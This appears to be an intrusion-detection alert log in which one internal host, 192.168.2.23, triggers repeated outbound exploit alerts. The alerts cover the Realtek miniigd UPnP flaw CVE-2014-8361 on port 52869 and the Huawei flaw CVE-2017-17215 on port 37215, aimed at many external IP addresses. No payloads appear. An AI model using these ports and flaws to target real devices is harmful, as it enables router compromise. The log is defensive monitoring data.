Timestamp:	07/20/24-23:00:59.213564
SID:	2835222
Source Port:	60464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.201.201.44

Timestamp:	07/20/24-23:01:53.269588
SID:	2027339
Source Port:	54980
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.185.15.217

Timestamp:	07/20/24-23:01:50.339110
SID:	2831300
Source Port:	35216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.198.15.37

Timestamp:	07/20/24-23:01:55.994693
SID:	2027339
Source Port:	44766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.124.39.209

Timestamp:	07/20/24-23:01:43.917774
SID:	2025132
Source Port:	42596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.136.207.183

Timestamp:	07/20/24-23:01:08.677485
SID:	2027339
Source Port:	57992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.204.90.199

Timestamp:	07/20/24-23:01:43.013772
SID:	2027339
Source Port:	41218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.237.192.205

Timestamp:	07/20/24-23:01:51.056707
SID:	2025132
Source Port:	42318
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.36.200.98

Timestamp:	07/20/24-23:01:54.859884
SID:	2027339
Source Port:	38430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.34.14.57

Timestamp:	07/20/24-23:01:43.177552
SID:	2027339
Source Port:	48212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.231.223.193

Timestamp:	07/20/24-23:01:42.761962
SID:	2025132
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 84.167.140.65

Timestamp:	07/20/24-23:00:59.158278
SID:	2835222
Source Port:	46354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.162.151.3

Timestamp:	07/20/24-23:01:43.571815
SID:	2027339
Source Port:	41624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.183.171.74

Timestamp:	07/20/24-23:01:44.118192
SID:	2027339
Source Port:	40918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.133.16.151

Timestamp:	07/20/24-23:01:45.764338
SID:	2831300
Source Port:	53368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.173.225

Timestamp:	07/20/24-23:00:59.194576
SID:	2829579
Source Port:	57576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.115.197.13

Timestamp:	07/20/24-23:01:31.317774
SID:	2831300
Source Port:	42478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.122.103.48

Timestamp:	07/20/24-23:02:12.142469
SID:	2027339
Source Port:	46094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.236.96.35

Timestamp:	07/20/24-23:01:41.263056
SID:	2027339
Source Port:	51596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.56.199.136

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	40554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.24.60

Timestamp:	07/20/24-23:01:31.991336
SID:	2835222
Source Port:	53734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.181.179.103

Timestamp:	07/20/24-23:01:08.667963
SID:	2831300
Source Port:	39612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.81.102.220

Timestamp:	07/20/24-23:01:45.116897
SID:	2027339
Source Port:	47614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.130.13.191

Timestamp:	07/20/24-23:01:43.088724
SID:	2027339
Source Port:	42460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.43.220.26

Timestamp:	07/20/24-23:01:02.048367
SID:	2835222
Source Port:	53720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.187.41.215

Timestamp:	07/20/24-23:01:43.922614
SID:	2025132
Source Port:	44866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.163.211.196

Timestamp:	07/20/24-23:01:42.702731
SID:	2025132
Source Port:	40134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.86.226.219

Timestamp:	07/20/24-23:01:44.026968
SID:	2027339
Source Port:	36782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 139.13.89.177

Timestamp:	07/20/24-23:01:00.635367
SID:	2835222
Source Port:	44792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.239.16.237

Timestamp:	07/20/24-23:01:44.945909
SID:	2025132
Source Port:	42050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.26.163.169

Timestamp:	07/20/24-23:01:48.047800
SID:	2025132
Source Port:	53322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.81.144.22

Timestamp:	07/20/24-23:01:45.194629
SID:	2027339
Source Port:	33566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.8.52.195

Timestamp:	07/20/24-23:01:47.413068
SID:	2831300
Source Port:	48138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.109.143.129

Timestamp:	07/20/24-23:01:41.399866
SID:	2027339
Source Port:	44060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.51.221.45

Timestamp:	07/20/24-23:01:48.496838
SID:	2027339
Source Port:	58716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 223.98.49.191

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	36080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.94.65.60

Timestamp:	07/20/24-23:01:43.047922
SID:	2831300
Source Port:	60022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:44.144821
SID:	2027339
Source Port:	57366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.15.211.214

Timestamp:	07/20/24-23:01:08.567236
SID:	2831300
Source Port:	59368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.21.143.158

Timestamp:	07/20/24-23:01:08.663244
SID:	2831300
Source Port:	58542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 110.45.133.89

Timestamp:	07/20/24-23:01:45.432263
SID:	2831300
Source Port:	46866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.235.248

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	59578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.225.33.253

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.216.95.45

Timestamp:	07/20/24-23:01:56.239090
SID:	2027339
Source Port:	41492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.138.19.167

Timestamp:	07/20/24-23:01:46.561347
SID:	2025132
Source Port:	53114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.7.102.124

Timestamp:	07/20/24-23:01:20.150638
SID:	2835222
Source Port:	37246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.187.39.89

Timestamp:	07/20/24-23:01:44.484644
SID:	2027339
Source Port:	49704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 44.253.8.229

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	36418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.4.77.39

Timestamp:	07/20/24-23:01:26.138638
SID:	2025132
Source Port:	44014
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.184.6.19

Timestamp:	07/20/24-23:01:43.209467
SID:	2027339
Source Port:	44154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.146.237.12

Timestamp:	07/20/24-23:02:11.743968
SID:	2027339
Source Port:	52868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.211.55.1

Timestamp:	07/20/24-23:01:53.237113
SID:	2027339
Source Port:	51226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.0.35.148

Timestamp:	07/20/24-23:01:42.874808
SID:	2027339
Source Port:	54348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.59.133.184

Timestamp:	07/20/24-23:01:56.845732
SID:	2027339
Source Port:	36454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 121.198.173.54

Timestamp:	07/20/24-23:01:59.104072
SID:	2831300
Source Port:	49432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 89.245.53.30

Timestamp:	07/20/24-23:01:14.100332
SID:	2835222
Source Port:	52630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.116.74

Timestamp:	07/20/24-23:01:27.660100
SID:	2835222
Source Port:	41958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.63.90.68

Timestamp:	07/20/24-23:01:44.895849
SID:	2027339
Source Port:	51438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.40.108.231

Timestamp:	07/20/24-23:01:58.717674
SID:	2025132
Source Port:	60566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.129.239.131

Timestamp:	07/20/24-23:01:20.591350
SID:	2027339
Source Port:	42172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.44.195.237

Timestamp:	07/20/24-23:01:42.014480
SID:	2027339
Source Port:	46038
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.37.100

Timestamp:	07/20/24-23:01:00.633742
SID:	2835222
Source Port:	34184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.222.87.118

Timestamp:	07/20/24-23:01:03.143706
SID:	2025132
Source Port:	38728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.167.37.167

Timestamp:	07/20/24-23:01:01.469737
SID:	2027339
Source Port:	54336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.221.213.203

Timestamp:	07/20/24-23:01:42.474339
SID:	2027339
Source Port:	37058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.86.83

Timestamp:	07/20/24-23:01:11.817436
SID:	2829579
Source Port:	53206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.106.198.203

Timestamp:	07/20/24-23:01:49.075905
SID:	2025132
Source Port:	54498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.63.159.44

Timestamp:	07/20/24-23:01:40.307218
SID:	2829579
Source Port:	58444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 182.49.153.25

Timestamp:	07/20/24-23:01:43.843278
SID:	2831300
Source Port:	57508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.178.20.121

Timestamp:	07/20/24-23:01:46.054775
SID:	2831300
Source Port:	50738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.165.149.247

Timestamp:	07/20/24-23:02:00.351070
SID:	2831300
Source Port:	45256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.64.245.14

Timestamp:	07/20/24-23:01:03.115715
SID:	2027339
Source Port:	60020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.75.200.235

Timestamp:	07/20/24-23:01:08.611773
SID:	2027339
Source Port:	39856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.247.88.93

Timestamp:	07/20/24-23:01:44.440718
SID:	2027339
Source Port:	49428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.136.40.221

Timestamp:	07/20/24-23:01:43.013771
SID:	2027339
Source Port:	49614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.113.54.165

Timestamp:	07/20/24-23:01:44.054566
SID:	2831300
Source Port:	50458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.238.5.172

Timestamp:	07/20/24-23:01:54.702517
SID:	2027339
Source Port:	33592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.176.241.96

Timestamp:	07/20/24-23:01:43.659105
SID:	2027339
Source Port:	36324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.115.147.179

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	54286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.12.228.50

Timestamp:	07/20/24-23:01:48.834296
SID:	2831300
Source Port:	33796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.163.230.218

Timestamp:	07/20/24-23:01:42.280418
SID:	2025132
Source Port:	54748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:47.850156
SID:	2831300
Source Port:	35398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.248.195.35

Timestamp:	07/20/24-23:02:03.245732
SID:	2027339
Source Port:	37204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.18.131.94

Timestamp:	07/20/24-23:01:41.417573
SID:	2025132
Source Port:	42700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.33.175.78

Timestamp:	07/20/24-23:01:49.775041
SID:	2831300
Source Port:	48102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.57.14.26

Timestamp:	07/20/24-23:01:46.358381
SID:	2027339
Source Port:	42794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.1.100.136

Timestamp:	07/20/24-23:01:43.147289
SID:	2027339
Source Port:	41806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.226.72.201

Timestamp:	07/20/24-23:00:57.221482
SID:	2835222
Source Port:	40150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.137.245.127

Timestamp:	07/20/24-23:01:43.160906
SID:	2025132
Source Port:	60250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 31.247.155.57

Timestamp:	07/20/24-23:01:42.966087
SID:	2025132
Source Port:	49634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.234.94.36

Timestamp:	07/20/24-23:01:44.452218
SID:	2027339
Source Port:	52330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.247.218.225

Timestamp:	07/20/24-23:01:52.393089
SID:	2831300
Source Port:	58436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.13.41.148

Timestamp:	07/20/24-23:01:48.965786
SID:	2831300
Source Port:	56564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.171.59.59

Timestamp:	07/20/24-23:01:20.110861
SID:	2835222
Source Port:	43186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.195.250

Timestamp:	07/20/24-23:01:21.937814
SID:	2829579
Source Port:	42512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.43.107.32

Timestamp:	07/20/24-23:00:59.154067
SID:	2835222
Source Port:	57256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.18.134

Timestamp:	07/20/24-23:01:21.951975
SID:	2835222
Source Port:	60584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:55.994693
SID:	2027339
Source Port:	53774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.213.126.209

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	42398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

